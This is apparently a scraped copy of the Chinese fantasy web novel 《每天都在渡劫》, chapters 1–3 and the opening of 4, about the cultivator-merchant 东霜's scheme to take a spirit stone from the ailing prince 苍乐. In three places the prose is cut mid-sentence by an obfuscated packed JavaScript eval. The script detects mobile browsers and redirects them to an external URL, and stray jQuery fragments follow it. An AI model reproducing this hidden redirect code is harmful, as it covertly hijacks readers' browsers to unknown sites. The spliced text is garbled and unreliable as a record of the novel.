《每天都在渡劫》
1. 爱之劫·上篇1
“瞧一瞧,看了一看咯,东字号最新推出的驻颜霜,让年轻人青春常驻,让年老之人返老还童。”
“走过路过,不要错过,东字号最新推出的神仙水,喝了之后飘飘欲仙,体验做神仙的感觉!铺子上的商品全都好价,比白玉京的还便宜嘞!”
两位小摊老板互看了一眼,谁也不服谁,继续卖力吆喝。
一位顾客前往酒摊,看了看,挑了挑,面无颜色,反倒是酒摊子老板,对着那卖驻颜霜的老板挑了挑眉,颇得意,又转而对着顾客推销起来:“这神仙水,放在白玉京里,一两要十个金球,但是我这……”
老板凑近顾客悄声说道:“找东字号老板谈下了最优惠的价格,一两三个金球,童叟无欺。”
顾客半信半疑,一脸猥琐相:“听说东字号老板是一介女子,长相如何?身材如何?她能给你这么好的价格,难不成……嘿嘿……”
“你买不买,不买赶紧走,别耽误我做生意。”酒摊老板翻了个白眼,倒不是他有多正直,而是听闻那东字号老板近来就在他面前不远处的白玉京高阁里,他可不想断了财路。
东字号,乃是东国财力最强、商户最多、势力最广的商号,敢以国号“东”字命名,可见一斑。
而这白玉京酒楼,归属东字号,遍布东国大陆每个角落,且每座酒楼就像一座小型皇宫,各宫各院,富丽堂皇,各司其职,丰富多彩,所谓“天上白玉京,十二楼五城”。
好巧不巧的是,刚刚楼下的对话全都落入了白玉京顶楼中一位正在摆弄仙草的女子耳中,那仙草看起来半死不活,她皱了皱眉,左手向下握了握,一道白光瞬间在她手中消失。
这千里传音阵本是她闲来无事,研究来打听情报所用,一次阵法,需要消耗五枚低阶灵石,现下又吃瓜吃到自己身上,只觉得有些荒唐。
她嘴里念念有词,只见她反手又启了一个阵法,这阵法与前次不同,闪烁着淡金色的光芒,以一枚纯净的高阶水灵石为阵眼,四枚中阶水灵石占据乾、离、坤、坎四个方位,布好阵之后,她面前的那盆草奇迹般的抬了抬头,末端的枝叶逐渐舒缓,似有无限生命力。
在她身后三丈之内,站着的是白玉京酒楼的总管事,穿戴华丽,表情不明,正细细的打量面前的人。
虽说总管事与她虽同为女子,可眼前这个人虽然身形明朗,内心却像一团雾,明明富可敌国,人间诸事抬手就能办成,却偏偏执着修仙,修的还是连普通人都觉得没用的阵师。
总管事见她迟迟不发话,便猜了猜她的心思:“东家,市面上的假货我们会处理干净。”
那女子淡淡“嗯”了一声:“你,做总管事也有五年了吧?”
“是的,东家。”
“这五年里,光是进货的回扣,每年就高达万金,可普通人一年的生活支出也不过百金……”
那女子声音平缓,像在说一件稀松平常的事情,可越是这样,越让总管事如芒在背。
她上任以来,几乎连跑堂的小厮都是极尽赚钱之道,可从未见东家对此有任何异议。
没人真把这位最大的老板当回事,各处的管事才是掌权者。
这突如其来的威压,让总管事有些不自在,背上已经沁出了汗,才发现这绸缎内里有时真不如棉质的。
她赔着笑,看着仍旧在侍弄仙草的东家,等她继续说下去。
“酒楼的收入在我这不过九牛一毛,倘若年年亏损,我大可直接舍弃……”
此话一出,总掌事立刻明白了她的想法,接道:“东家放心,下个月开始,我等定让酒楼转亏为盈。”
“转亏为盈可不够,我要的是,比白玉京鼎盛时期多两倍的利润。”
总掌事抿着嘴,低着头,眼珠子滴溜转,两权相害取其轻,片刻沉默之后,二话不说就拿起桌上的纸笔,立下了军令状。
那女子满意一笑,目送总掌事走后,大叹一口气,心疼自己经营不易,若非修行需要砸钱,这赔钱酒楼她早就想转手了。
突然,引灵阵阵法碎裂,她因过度承载灵力,血气透支,歪歪扭扭的瘫靠到榻上,打坐凝神。那株仙草竟也一瞬间萎靡不振,看着比此前的状态更差,可能只剩一口仙气吊着了。
若说白玉京酒楼金碧辉煌、丹楹刻桷,那这顶楼就更甚之,以金线镶边的轻纱软帐取自蝉妖的双翼,用上古之地的仙木雕刻的桌椅,千年仙石制成的冬暖夏凉的卧榻,且说这些还都是能买到的,还有那些世面上买不到的,比如房间正中的八音鼎。
这八音鼎原不是什么稀罕玩意,可传音、聚音,通市随处可见,稀罕就稀罕在它是出自如今器修大能文玉之手,不仅能传音,还能传人、传物,独家定制总是千金难买。
正在此时,随着一阵若有似无的香气袭来,八音鼎中由万千花瓣聚成了个花苞,一根藤条破花而出,转瞬化而为人,踏空而来。
“东霜,你这是又在逆天改命?”
“又?”
“我在千里之外,感知到有人企图违背天道法则,强行让仙草提前结果,实在是不忍你暴殄天物。”
东霜朝着窗口那盆半死不活的仙草使了个眼色:“老木头,我倒是想问问你,这嘉荣草也算是上古五大仙草之一,虽说我想用阵法加速它的生长,可阵法失败了,最多也就恢复到之前的样子,可现在,它连灵力都在消散了,这是为何?”
这名唤“老木头”的人,就是当今修行榜上第一炼器师文玉,见证朝代更迭,距离半仙境也就是迈两步的事儿。
他走近窗前,仔细端详着嘉荣草,连连摇头,朝东霜招了招手:“你过来。”
紧接着顺势打开窗户,问她:“看到空中的浊气了吗?”
东霜脖子前倾,眼睛睁的大大的,又稍稍后仰,眯起眼睛,左看看,又看看,吸气又呼气,总结一个道理:“空气甚是新鲜。”
文玉一脸嫌弃,又不知从哪捏了片花瓣,抬手化镜,透过这玻璃镜打量着东霜,啧了两声:“这么久了,你竟然才突破初阶二段,才摸到了修行门槛的边边!”
东霜对他的嘲笑一脸不在意,又坐回软榻:“你就别卖关子了。”
他清了清嗓,手中的玻璃镜又化而藤,佯装严肃:“这天地万物,都要遵守天道法则,虽然自上次神魔大战之后,仙家落败,退而避世,高阶修士全都弃仙从魔,但即便如此,在天道法则的制约之下,天地灵气依然纯净,草木长势良好。可是近来,空气中平白多了许多浊气,影响了天道法则,致使花草不能聚灵,所以这嘉荣草才会一日不如一日。”
“既然不能聚灵,那岂不是也会影响我们这些修行的?”东霜紧皱着眉头,倘若没有上古花草,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241464|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就炼不成五灵珠,对她来说那可是天大的影响。
“诶,说对了一半,眼下浊气稀薄,对人也好,初阶修士也好,影响不大,影响最大的是你这种强行引灵入体的修行之人。不过,倘若浊气壮大,而你未入仙魔两界,便无法再修行,我们这些天选修士也会因为天地灵气的不平衡而失灵,不仅如此,倘若浊气取代灵气,还会出现很多邪修呢~可怕~可怕~”
“那我得尽快突破才行。”东霜突然想到了什么,质问道:“老木头,我的金灵石可有眉目啊?”
文玉抄起藤条,轻抽了一下东霜:“你可真是个石心人儿,我好歹也算是你的救命恩人,老木头老木头的叫,我哪有这么老。”
“行吧,这位同修,我们难道不是等价交换吗?那么多金子都进了你口袋不说,所有要炼的材料还都是我给的,你只需要付出一点点的灵气,将这些灵料炼成灵石……”
文玉有些心虚:“还差一味最纯净的金属性灵料--百炼石。”
东霜摆了摆手:“行,那我想想办法?”
文玉就等着她这句话,点了点头:“我已替你探得,这百炼石就在那麒麟子身上,至于怎么拿,就靠你聪明的小脑瓜子了。”
说罢,生怕她打自己的主意,抱起桌上的嘉荣草,在一团鲜花的簇拥下,一下子没了人影,只留一片绿叶在空中滑翔。
随后,听得一串尾声:“这嘉荣草,我试着帮你救活~”
随着声音的消失,连缓慢下落的绿叶也在空中突然不见了。
“这老木头……”东霜摇了摇头,他们相识二十载,也不见他容颜衰退,每天穿的花枝招展的,不是在这个仙草园,就是在那个神木池,虽说常年是榜一炼器师,可是从来没见他展露过修为,只能在他炼的灵珠中窥见一二。
楼下吵闹的人群惊扰了打坐回灵的东霜,她拿出五枚灵石,念念有词的启了个阵,方知是闻香楼的说书人到点开讲了。
闻香楼是正对着白玉京的东都城最大的青楼,这说书人原是东霜自己苦心培养的,只可惜,在白玉京讲了一天,酒楼差点歇业,东国皇室差人前来,说是不能“黑吃黑”,无奈之下,只能忍痛割爱。
随着一声震耳欲聋的拍案声起,那说书人摇头晃脑的开讲:今天讲的是东国异闻录--祝余山。
这祝余山乃是上古仙山,开山祖师更是世上唯一真神,此后,无数修行之人经由此地飞升成仙。
相传,东国的开国皇帝拥有麒麟之身,原也是要飞升的,然而,他的七窍玲珑心可见不得人间疾苦,竟擅用仙法,使世界一统,可他自己也被剔除了五灵,落了个永世不得超生,此后,皇室中人皆不得踏入修行道。
那这祝余山又为何成为皇室的庇佑呢?
话说这开国皇帝有一神器,名唤却邪枪,不仅能除魔诛邪,还能弑仙斩灵,却邪枪生了枪灵,即便主人身死,可它却衷心不二,依旧用自身的灵力庇荫皇室诸人。
这却邪枪就放在祝余山的山顶,如今天地异变,这却邪枪竟隐有发狂伤人之意,凡靠近其二里之内,六界生灵,必受重伤。
堂下有年长之人,嗑着瓜子,大喊道:“不是说三皇子伴麒麟降世,他也没办法吗?”
那说书人抚了下胡须:“这三皇子七窍不通,五灵缺失,若要破局,唯有一法可行……”
2. 爱之劫·上篇2
每月二十五日,不仅是东国集市开启的日子,还是东霜出诊的时间。
街上熙熙攘攘的人群,各个店铺门前都排起了长队,原因无他,集市开启之时,所有铺子的商品均是半价出售,百姓们都想趁这个当多捡些便宜东西。
还有一些人,则徘徊在大街小巷,眼睛像鹰一般锐利的盯着东都城的每一个角落,以及每一位头戴轻纱斗笠的女子。
霎时,只听得城中一人一边大喊,一边招手:“在这里,神医在这里!神医在闻香楼看诊!”
从人群集聚,到排成整齐的队伍,也就花了几秒时间,东霜刚遣人将桌案摆好,还没来得及坐下。
前来求药的人,要么是求的救命药,满眼焦急,双拳紧握,准备随时冲锋,在人群中一眼就能认出。要么就是另一种,为了祈求自己延年益寿,而这种人,依旧能一眼认出,大都富态闲散,难以辨别的是那些倒卖药物的。
为了不破坏药物的市价,东霜对此是防之又防,甚至研究出了真言阵法。
这真言阵法虽然只需要下品灵石,但需要大量的灵力支撑,以她现在的修为,只能偶尔用之,所以不得不在开诊之前,就先过筛一遍。
“诸位,急病者,请站在中间,其余的人分站两旁,另外,急病者中,若有手持三家医铺医嘱者,站到最前方。”
说罢,便放下珠帘,沈念拿出五枚灵石,这五枚灵石悬空于她右手上方,四枚灵石置于四个方向,而将金灵石放在其他四枚灵石之中,左手捏诀,念道:“天心离火,地位乾水,五炁同源,证吾神通,以吾之金灵,请四方言仙,真言,封。”
紧接着,这五枚灵石的灵光瞬间在这一方小阵上找到了各自的方位,灵光相连,显出一个八卦五行四象阵,她将那闪着淡金色光芒的法阵随右手翻转,这法阵瞬间变大,以她为中心,方圆一里地都被笼罩在这真言阵中,凡表里不一者,皆会不由自主做出正确的选择。
这一番操作下来,除了中间的队伍没有变之外,外面的队伍和人数已然大变,而东霜的灵力也耗了一大半,她定了定神,将阵法解除,唤来了今日的第一位就诊人。
中间的队伍流动非常快,进去不过片刻,出来的时候,手中就多了一只精致的白瓷瓶,每个人都是这样。
这不免让初来的人疑惑:“这神医的药真有用?看这速度,似乎连问诊都没有?”
被问到的百姓,起先是震惊,后来一眼看穿他是外乡人,便也就耐着性子解释:“你有所不知,神医之所以是神医,就是因为她的药可治百病,甚至能够起死回生。”这话越是说到最后,声音压的越低,生怕走漏了消息。
“哦?竟有此等事?就算是神仙来了,也不能干预人间生死吧。”
“神仙?神仙才不管我们死活呢,只有这位神医怜悯众生,哎,你自己拿到药就知道,一颗百病消。”那当地人顿了顿,有些不耐烦了,上下打量了外乡人一眼:“不过,打听这么多,你有钱吗?这药可金贵了,若非真有急症,神医怜惜世人,可免费赐药,像我们这等只为保平安求药的,一颗药要花上五十金。”
“这么贵……”
排在后面的人一直听着他们的谈话,见外乡人嫌贵,连忙开口:“你要是不求药,就上一边呆着,平白占了个坑。”
“我虽然没有金,但是这个可不可以?”那外乡人从小小的袋中掏出一把小灵珠,亮晃晃的,给前后两人看的眼馋,立马改了口气:“是我们有眼不识泰山了,原来是修行中人,不知这灵珠卖吗?我出价一百金。”
“当然不卖,这些是用中阶灵草炼制的,于你们而言,只有害处。”
当地人只听得他说不卖,袖子一掸,瞥瞥眼:“修行之人还来求药,哼。”
那外乡人,自讨没趣,等轮到他的时候,已至午时,可太阳却不如往常热烈。
东霜本是半躺在藤椅中,静待灵力恢复,来人一进来,她突然坐直了身子,只见那人拿出一把中阶灵珠摆在桌上,问:“可否请神医赐药?”
东霜不清楚他的来意,但也不愿周旋,单刀直入:“这位同修,以灵气掩身,不知前来所为何事?”
来人见被识破,手一挥,破了形,一改之前糙汉的形象,变成了一位翩翩女子,眼神注意到了桌角的小阵法,也丝毫不加掩饰的夸赞:“你的阵法颇为有趣,只可惜灵力低微……但是,据我所知,自双神大战之后,世间便不再有金灵修行之人,如今见到,竟觉得有些不可思议。”
东霜见她坦诚以待,也摘了自己的帷帽,同她论道:“所谓修行,不过全是自己的选择,有的人选择修火灵,因为火灵强大,而我选择修金灵,虽然金灵断了传承,但我相信,金灵是远比火灵更强大的存在。”
“修行,是天道之选,要顺应天道法则,毕竟五灵根有三灵属火之人,只能修剑道,不可能去修其他道。”
“也是,你拥有七窍玲珑心,自然是相信天道,可是,我只有一颗石心,我只相信我自己。那么,姐姐到底因何而来,又是因何而下山?”
“不瞒你说,我就是寻你来的。听说东都城有一神医,她的药吃了可起死回生,长生不老,我既是水灵修行之人,便是前来求道的。”
水灵修行者,周身便给人一种温润的气质,东霜也被这灵气影响,竟也斯斯文文的回应:“我这里没有你要求的道。姐姐顺应天道法则,而我是一个大逆不道之人。”
“用精血炼成丸药,以一人之力,延长了百姓的寿命,确是逆天之举,但这么多年,你竟然还能活着,真是不可思议。”
“那么,你还相信天道吗?”
“信。”
东霜摇了摇头:“不愧是水灵修行者,符合刻板印象,真是榆木脑袋。那么姐姐,你这位方外之人,入世就是为了我?”
问到此处,那摆在藤椅旁的观灵阵突然剧烈闪烁,意味着又有一位高阶修行者在此处现身。
来者未见其人,先闻其
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241465|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声:“没错,我们也想知道,天池山的圣女为何下山?”
“在下琉璃,并非天池山圣女,只是有幸拜入天池山修行,因而沾染了天池山的仙气。敢问阁下是何人?为何,带着不祥。”琉璃的眼神突然警惕,单手凭空化器,这武器名唤草木青,通身缠着白色的布,只能从形状判断,这应该是一把剑,剑柄的顶端镶着一颗仙阶灵石,灵石忽闪忽闪,其展现的颜色就像是燃烧的火焰却又夹杂着烟灰,琉璃就是凭此来判断来者的修行。
而东霜,一脸看好戏的靠在藤椅上,高阶修士的斗法她还没见过。
来人听她自报家门,突然灭了气焰,一脸谄媚,道:“原来是水灵修行第一人,琉璃尊者,我乃三界守门人,人界火灵修行者,无恒。”
“既是三届守门人,为何你的灵气不纯?”
“自是这天地异变,让我等高阶修行之人染上了浊气,琉璃尊者,想必也是为此下山的吧?”
“确是。”琉璃虽然满腹疑惑,但守门人毕竟守护三界安危,他也并未作出任何有害之事,故不再继续深究。
等了片刻,只见两人收了架势,并没有进一步的表示,东霜叹了口气,今天是看不到好戏了。
“既是琉璃尊者,定是下山造福万民,我等也无权干预。”无恒转向了东霜,又用灵气抬了抬自己的高度,居高临下的质问靠卧在藤椅中的东霜:“东霜,你每月在此卖药,已然违背天道法则以及人间规矩,我等守门人代为降下责罚,你……”
不等他继续念叨,东霜嘴角不着痕迹的露出一抹嘲笑,左手启了个万象阵,右手从里面掏出一袋灵石,头都没抬,直接朝无恒丢了过去:“这个月的免责费,您看看,可称心?”
无恒本想对她的失礼狠狠的批评一番,但掂了掂手上的袋子,又朝袋中看了一眼,虽然都是低阶灵石,但胜在品相、灵气俱佳,一改严厉,面上是遮不住的欣喜:“看在你如此诚心的份上,我等守门人就不追究了,下个月可莫让我再看到你。”
“慢走啊。”东霜见他离开,又带上了帷帽,嘲骂道:“哼,看门狗。”
外面排队的百姓,本想上前探个究竟,但被一道无形的墙弹开了,便知里面定有修行之人,只能硬着头皮在外面等候,毕竟谁没几个修道的朋友呢,况且,那可是神医。
说来也怪,一连几日,神医都在闻香楼坐诊,更加奇怪的是,神医身边还多了一位相貌绝尘的女子,一袭青衫,如高岭之花,如天山白雪,如雾气缭绕的林间溪流,总之,美的不似凡间人。
终于在保护费到期的最后一天,东霜等来了自己的目标。
来人器宇不凡,手中执扇,扇面上似是施了术法,流光溢彩,移步易形,腰间佩戴的那颗灵石,足有拳头那么大,闪着金色的光芒,这金光还非比寻常,纯净透亮,没有任何杂质,就像是无数金条聚集在一起自然而然反射出来的光芒。
带着帷帽的人,勾了勾嘴角,终于来了,百炼石。
3. 爱之劫·上篇3
东国三皇子苍乐,出生之时伴七彩祥云,祥瑞麒麟的幻影更是在皇宫上方盘旋,此后,东国连续三年大丰收,无灾无害。
而对于修行之人来说,自苍乐诞生,灵气变的精纯,三界生灵愈加活跃,连祝余山上常年笼罩的灰雾都散了许多。
只可惜,虽然他的到来造福万民,但苍乐自身却是个病秧子。
病到何种程度呢,也就是凭借传说中的转世麒麟,吊着一口气,虽不致死,但活着也不舒坦,只能寻求最纯净的灵草灵料,以缓解痛苦。
而这枚拥有纯净金灵气的百炼石,便是他刚觅得的高阶灵料。
新月伊始,东霜一如往常在白玉京的顶楼看各地商铺呈交的账目,桌上除了堆叠的账册,还有几个碧玉瓷瓶横七竖八的躺在桌上,里面装的是琉璃尊者专门为她特制的补血和补灵的灵露,全都被她一口闷了,正满脸痛苦的看账本转移注意力。
即便是灵草炼制,在适口性这方面依旧没有任何改善,反而变得更苦。这灵露原是要用自身灵气炼化,方能入五灵、通四海,然而,东霜五灵不通不说,强行入道后虽然已到初阶二段,但灵力依旧稀薄,只堪堪算是摸到了修行的门槛,只有突破到初阶三段,才算正式步入修行。
需要突破的话,百炼石必不可少。
她一想到这,便停下了手中的活计,在一堆东西中找到一面石镜,手指轻点,只需消耗些微灵力,那石镜的表层就像帷幕一样拉开,里面展现的画面正是闻香楼现下的情况,生意爆火,座无虚席,此起彼伏的叫“好”声,成为台上表演人员最好的配乐。
在东国,有白玉京的地方,必然有一座闻香楼。若说白玉京是文人墨客、世家高官证明消费能力的地方,那闻香楼则主攻平民市场,白天演说各式话本子,怕演出单调,还穿插戏曲舞剧;到了晚上,则尽情声色,沉迷温柔乡,至此,形成了双足鼎立的局面。
正待东霜在镜中寻找麒麟之子的时候,一阵若有似无的桂花香突然在房中弥漫,她瞟了一眼八音鼎,果不其然,一团黄绿相间的叶子现于房中,又瞬间化成人。
来者衣袂翩跹,怀中却抱着一株半死不活的嘉荣草,但他满眼惊喜:“听说,琉璃尊者来了?”
“你这老木头,不是孤身散修吗,听谁说的?”
“这你就不知了吧,这天下,万千生灵皆是我耳目。”文玉继续道:“既然有琉璃尊者在,那这嘉荣草就一定能活了,倒也不用我费心神。”
“琉璃尊者外出行医了,你且等着。”东霜敷衍了几句,复又去看石镜,仔细辨认其中人员,突然,在闻香楼的二楼甲字厢房里,出现一位身着锦袍缎带的男人,面如冠玉,发髻簪花,怀中抱着展开的金丝扇,腰间还明晃晃的挂着一块闪着金光的石头,正斜靠在软榻上闭目养神,紧挨着软榻的茶几上放着一个明显使用过的白玉瓷瓶。
真是生怕别人不知道他就是麒麟之子。东霜“啧”了一声:“这人……打扮的真是浮夸……”
正当文玉好奇的探头想去一看究竟,只见东霜拿出五块灵石,启了阵就传走了,一个画面都没给他留。
东霜悄无声息的来到厢房,率先检查了瓷瓶里的药是否被服用,这可是为麒麟之子精心调配的特效药,足足耗费了她五滴血。
凡人只消喝她一滴血,便能百病消,唯一不足的是会倒霉三天,不过与身体健康、延年益寿比起来,区区倒霉三天也就无所谓了。可若凡人受她三滴血,却会立刻尸骨无存,魂飞魄散,念在苍乐有神兽护佑,还有那百炼石给他提供灵气,怕不起效果,就又给他加了两滴血,若不幸死了,也只能怪他命薄福浅了。
软榻上的人,似乎陷入了沉睡,胸膛的起伏正缓慢消失,保守起见,她还缓缓靠近软榻,用手探了探苍乐的鼻息,还残存一丝气息。
东霜叹了口气,麒麟的威力果然不容小觑,既然他还有救,也不算是滥杀无辜了。
随后,她便盯着苍乐腰间的百炼石,这百炼石天生地属,是金属性中灵气最为纯净的灵料之一,越是纯净的灵料越是难驯服炼化,而且这金属性的灵料在这世间本就极为稀少,如今要驯化,比平常灵料要更难一些。可若强行摘取,不仅会被其灵力所伤,自身也会被反噬。
不过,好在东霜早有准备。
天材地宝,相生相克。五灵中,土生金,东霜游历白沙山时,偶然获得的纯净土灵料--洛尘,可以此为引,先将百炼石骗入囊中,之后总有办法炼化的。
只见她将自身的灵力灌注洛尘,将洛尘送到百炼石旁,那百炼石微微晃动,隐有脱落之意,东霜继续灌输灵力,突然,一道符咒出现在百炼石上,她感受到一阵强大的阻力,瞬间将她弹飞数尺。
她本就盘坐在地上,整个人不着力,灵力对抗之下,整个身体被径直甩在了门上,内里一阵翻涌,竟咳出一口血来。
一来二去,不仅费了些时间,连灵力也所剩无几。她起身看了眼百炼石上的符咒,竟是只有高阶修者能画出来的三重符咒,应是祝余山的哪位符修大能所设,实非她所能解,况这符咒与画符之人心意相通,倘若招来了高阶修者,那她就更走不掉了。
细想之下,索性紧挨着百炼石坐下,拿出收集的其他四枚高阶纯净灵料,直接摆起了引灵阵,欲就地突破。
引灵阵的口诀刚开始念,头上一阵男声让她打了个激灵:“原来这就是阵师啊。”
东霜干咽了咽口水,僵硬的回头,心中咒骂那麒麟之威,还有启阵前摇实在太长,她瞥见那麒麟之子侧躺着也不动,眼含笑意的看着她。
东霜颇有一种被戏耍的错觉,可眼下毕竟是自己欲杀人越货,还被当场抓包,只好佯装镇定:“既然三皇子醒了,不如做笔交易?”
他一个翻身盘腿坐在榻上,而东霜将所有的灵料全都收了起来,一个箭步与苍乐拉开距离,左手背在身后,右手捏着诀呈防御姿态。
苍乐起身之后还特地用手掸了掸腰间的百炼石:“你企图加害本皇子,还没拿你问罪呢,还想和我做交易?”
“那,你想如何?”
“我能如何,我只是一个手无缚鸡之力的病弱皇子,可没能耐和你这个修行之人叫板。”他不慌不忙的穿好衣服,离开软榻,竟在桌边坐下,喝起茶来。
而东霜一直背手而立,始终和他保持着距离。
许是茶汤太烫,只见他嘴唇微微碰杯,便不解的仰视着东霜:“你到现在没有察觉到吗?你的修行品阶这么低吗?”
在他问的同时,东霜背手所布的金刚阵也初具形态,然而,随着阵法的完善,一阵强大的灵力突然从两边向她挤压,她只能先行启动阵法,大喊一声:“金刚阵,御!”
这金刚阵原是可攻可守,只可惜给她布阵的时间太短,还来不及变换八卦四象,只能先行防御,再找时机。
只见四面冲出的大量带有攻击性的土灵力,如流沙般逐渐蚕食东霜的灵力,那微弱的淡金色的金刚阵竟仿若那淡褐色画布上的一抹高光。
铺天盖地的土灵力向东霜席卷而来的同时,也露出了灵力背后操控之人。
那分明是两具人形傀儡!这傀儡肯定就是三重符咒的大招。
东霜眼睛一转,分出些微灵力,丢了片叶子出去,那叶子在空中解体,幻化出无数细小而锋利的松针,穿缝过隙,直直的朝苍乐面门刺去。
三重符咒,第一重为封印,第二重为攻击,第三重则是护主的傀儡。
如她所料,傀儡瞬间收势,化攻为守。
而东霜的金刚阵也坚持到了极限,数万小盾牌裂为碎片,如阳光下细密的雨,还未沾地,就在空中消散。
东霜的灵力消耗已到极限,可苍乐依旧坐在桌边喝茶,那傀儡被东霜的法器吸引,扭打在一团,已经顾不上他俩。
苍乐也是好客,见东霜体力不支,面上沁着汗珠,也给她倒了杯茶:“唔,这茶的口感可比白玉京的还要上乘,大掌柜,也品鉴一下?”
东霜摸不准他的意思,怕他藏着后招,毕竟自己的灵力见底,和凡人没个两样,甚至比凡人还不如,便不搭理他,捏了个万物阵,从里面掏出些灵药来,一股脑的吞了下去。
苍乐看出了她的顾虑,将手中的扇子翻了个面,道:“你见多识广,定然认得这扇子吧。”
“十八魔骸扇!”这下是真把东霜吓到了。
相传,魔骸扇出,求生无门,魔界的法器,十八根扇骨,对应十八层地狱的恶魔,境界一层比一层高,最强的恶魔修为堪比魔王境,而如今的修行界,只有修到高阶十五段,才能选择修仙道还是魔道,魔王境快接近半神了。
“嗯,这就是我的底牌了。但是现在我还不想用它,你不如过来尝尝这茶。”
人在屋檐下,不得不低头,东霜跑也跑不掉,只能不情不愿的“品鉴”一下了。
入口并非茶叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241466|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的苦涩和清香,是血腥味!在她将要一口吐出的时候,苍乐亮了亮手中的扇子:“可不能吐哦,这里面是你自己的血,正好补补。”
自己的血确实不能浪费,东霜狠狠的咽了下去,气愤的将杯子摔在地上:“士可杀不可辱!金刚阵!缚!”
只见苍乐的脚下出现一圈八卦五行四象阵,四位带着锁链的金刚罗汉从阵中拔出,将他层层锁住,东霜释放完最后的保命阵,拿出和八音鼎相连的短笛,靠到窗边,想经八音鼎传送,只听得身后一声淡淡的“去”,她就被一缕凶魂以灵气化剑,瞬间刺中了胸口,连人带笛飞出了窗外。
“这不是神医吗,从哪飞出来的?”路人循着神医的轨迹,抬头一看,惊呼道:“是麒麟殿下,麒麟殿下万安!”
百姓齐齐下跪,高呼“万安”,丝毫不把正和凶魂斗争的东霜放在心上,苍乐则像什么都没发生一般,还在窗口向百姓挥手示意。
东霜在心中翻了个白眼,原以为在下落前带上面纱,能用神医的名号博得同情,竟敌不上一个露脸的麒麟!
“求各路神仙救命啊!麒麟殿下用魔器残杀平民百姓!民女好心给殿下送药,他竟……咳咳……竟轻薄于我,民女不从,他便动了杀心……还想独吞灵药,那可是百姓的救命药啊……”
苍乐常年流连烟花之地,也就凭着麒麟转世,百姓还对他存着一些期待,如今他这种作为,倒让下跪行礼的百姓进退两难,只得抬头看看苍乐,又对神医的遭遇无比同情。
“修行之人,都如你这般厚颜无耻,满嘴谎话吗?”
那凶魂剑上的魔气透过石心直侵入骨缝,犹如万千刀片在骨头上刮的哧哧作响,全身的骨头在这一刻就像全都断了一般,浑身酸软无力,疼痛钻心,这就是第二层地狱铁树道凶魂的力量。
东霜已经痛的跪在地上,由于凶魂强有力的突进,她的上半身逐渐向后仰去,双手则死死的握住刺在胸前的剑。
面对苍乐的挑衅,只能用尽全力,吐出最后一口气:“原来百姓奉为人间之神的麒麟之子,竟这般视人命如草芥……”
她也在等,等白玉京楼上的人抑或是三界守门人出手,人间出现凶魂,他们定然会管。
在东霜苦苦支撑的同时,白玉京顶楼的两位高阶修者,亦在斗法,双方互不相让。
“琉璃尊者,东霜好不容易才活下来,总不能让她莫名其妙死在凶魂的手里。”
“人间之事,自有守门人规束,我等高阶修者踏入人界已是违背天道法则,绝不能再出手干预人间之事。”
“人命关天啊,这守门人都是徒有虚名之人,你我不在此地也就罢了,现下,她被魔器侵蚀,而你我就在近旁,怎能眼睁睁看她送死?”
琉璃迟疑了半晌,虽然规矩和良心在相互撕扯,但灵力却丝毫不减,也没能给文玉偷着机会分身。
就在两人的对峙之时,双方的灵力罩被一阵更具侵略性的灵力冲散,这灵力给人一种灼烧感,放佛沾上一点,人就会被融化。
如此强大的火系灵力,如今这世间也只有一人有。
文玉率先跳到窗边,未见其人,只有一条通身火焰的锁链状法器,已经将那凶魂缠绕住,这才定下心来,道:“祝炎来了,那东霜有救咯。”
琉璃也三步并两步,走到窗前,看向了东霜处。
那缠着火焰的法器名唤无垢,修行界有一种法,“无垢出,万恶净”,而无垢便是祝炎的法器。
许是水系修者和火系修者天生相克,琉璃对祝炎并无好感,可现在,祝炎的突然出手,倒也着实让她松了口气。
只见那燃烧着烈火的锁链,将凶魂生生绞杀,那凶魂就像是火焰熄灭之后的黑烟,消散后变成了一片扇骨,飞向了看戏的苍乐。
东霜有了喘息的机会,踉跄站起,见那锁链又化而为棍,去到姗姗来迟的主人手中。
来人从头到脚,颜色由橙红过渡到深红,活似一团燃烧的火焰,尤其那声音一开口,更是震耳欲聋:“是谁!在人间放这等凶物,欲残害……”那人看了一眼摇摇欲坠的东霜,组织了半天语言,才道:“欲残害弱势修士…要不是我,祝融的火之传承者,祝炎,及时赶到……”
“同修,现在是臭美的时候吗,快去把楼上的人斩了。”东霜从小到大跟着文玉,也算是见多识广,来人又如此有特色,一看便知,是这世间奉行绝对正义的高阶十五段火系修者--祝炎。
4. 爱之劫·上篇4
天之上有仙,地之下有魂,天地之外亦有魔族聚居的苍梧之野。而天地之间,另存三界,除东国皇室掌权的人界之外,亦有灵界和妖界,修行之人皆出于这三界中。
